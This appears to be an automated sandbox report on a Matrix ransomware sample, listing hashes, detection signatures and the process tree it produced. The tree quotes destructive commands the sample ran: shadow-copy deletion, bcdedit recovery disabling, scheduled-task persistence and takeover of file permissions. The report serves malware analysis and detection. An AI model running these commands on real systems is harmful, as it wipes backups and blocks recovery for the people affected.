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Static

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66448fe45b...3f.exe

windows7_x64

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66448fe45b...3f.exe

windows10-2004_x64

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Analysis

  • max time kernel
    4294210s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20220223-en
  • submitted
    05/03/2022, 21:05

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General

  • Target

    66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe

  • Size

    2.6MB

  • MD5

    bd90a796396be691b806fee34bdcc27b

  • SHA1

    8477fdec639e673dfc586e7a37cb2049d0927601

  • SHA256

    66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f

  • SHA512

    96023528edacfe8afd923839a8e964e72387afa82ceab7f965cb4149375ca1aaff266d0b7213c697e1719786f466a4d27b201534055df0f11734bb632583bccc

Score
10/10
matrixdiscoveryevasionpersistenceransomwaresuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe
    "C:\Users\Admin\AppData\Local\Temp\66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Loads dropped DLL
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe" "C:\Users\Admin\AppData\Local\Temp\NW4cZ0HP.exe"
      2⤵
        PID:1656
      • C:\Users\Admin\AppData\Local\Temp\NW4cZ0HP.exe
        "C:\Users\Admin\AppData\Local\Temp\NW4cZ0HP.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1088
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\06HbyWHA.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1112
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1640
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\kKslVIK6.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\kKslVIK6.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1712
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1632
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1212
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\kX9vsdTS.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:900
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\kX9vsdTS.vbs"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1608
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\dLVCWg99.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1984
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\dLVCWg99.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:1740
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                  PID:568
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Run /I /tn DSHCA
                    5⤵
                      PID:1088
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\XWTzfiaH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1628
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                  3⤵
                  • Views/modifies file attributes
                  PID:2000
                • C:\Windows\SysWOW64\cacls.exe
                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
                  3⤵
                    PID:1160
                  • C:\Windows\SysWOW64\takeown.exe
                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                    3⤵
                    • Modifies file permissions
                    PID:968
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c qKqhuGM0.exe -accepteula "AdobeID.pdf" -nobanner
                    3⤵
                    • Loads dropped DLL
                    PID:1556
                    • C:\Users\Admin\AppData\Local\Temp\qKqhuGM0.exe
                      qKqhuGM0.exe -accepteula "AdobeID.pdf" -nobanner
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1672
                      • C:\Users\Admin\AppData\Local\Temp\qKqhuGM064.exe
                        qKqhuGM0.exe -accepteula "AdobeID.pdf" -nobanner
                        5⤵
                        • Drops file in Drivers directory
                        • Executes dropped EXE
                        • Enumerates connected drives
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: LoadsDriver
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1616
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {3E82F8EB-7A3E-4484-8EED-678AD0E5A628} S-1-5-21-1405931862-909307831-4085185274-1000:GZAATBZA\Admin:Interactive:[1]
                1⤵
                  PID:824
                  • C:\Windows\SYSTEM32\cmd.exe
                    C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\dLVCWg99.bat"
                    2⤵
                      PID:1624
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin Delete Shadows /All /Quiet
                        3⤵
                        • Interacts with shadow copies
                        PID:872
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic SHADOWCOPY DELETE
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:660
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                        3⤵
                        • Drops file in System32 directory
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1584
                        • C:\Windows\system32\vssadmin.exe
                          "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                          4⤵
                          • Interacts with shadow copies
                          PID:1504
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} recoveryenabled No
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:1988
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:872
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN DSHCA /F
                        3⤵
                          PID:1352
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1716

                    Network

                    MITRE ATT&CK Enterprise v6

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                    Downloads

                    • memory/1584-78-0x000007FEF3720000-0x000007FEF427D000-memory.dmp

                      Filesize

                      11.4MB

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                    • memory/1584-79-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

                      Filesize

                      9.6MB

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                    • memory/1584-84-0x000000000244B000-0x000000000246A000-memory.dmp

                      Filesize

                      124KB

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                    • memory/1584-83-0x0000000002444000-0x0000000002447000-memory.dmp

                      Filesize

                      12KB

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                    • memory/1584-82-0x0000000002442000-0x0000000002444000-memory.dmp

                      Filesize

                      8KB

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                    • memory/1584-77-0x000007FEFC331000-0x000007FEFC333000-memory.dmp

                      Filesize

                      8KB

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                    • memory/1584-81-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

                      Filesize

                      9.6MB

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                    • memory/1584-80-0x0000000002440000-0x0000000002442000-memory.dmp

                      Filesize

                      8KB

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                    • memory/1636-54-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

                      Filesize

                      8KB

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                    • memory/1640-65-0x0000000002480000-0x00000000030CA000-memory.dmp

                      Filesize

                      12.3MB

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                    • memory/1640-64-0x0000000002480000-0x00000000030CA000-memory.dmp

                      Filesize

                      12.3MB

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                    • memory/1640-61-0x00000000743B0000-0x000000007495B000-memory.dmp

                      Filesize

                      5.7MB

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                    • memory/1640-63-0x00000000743B0000-0x000000007495B000-memory.dmp

                      Filesize

                      5.7MB

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                    • memory/1640-62-0x0000000002480000-0x00000000030CA000-memory.dmp

                      Filesize

                      12.3MB

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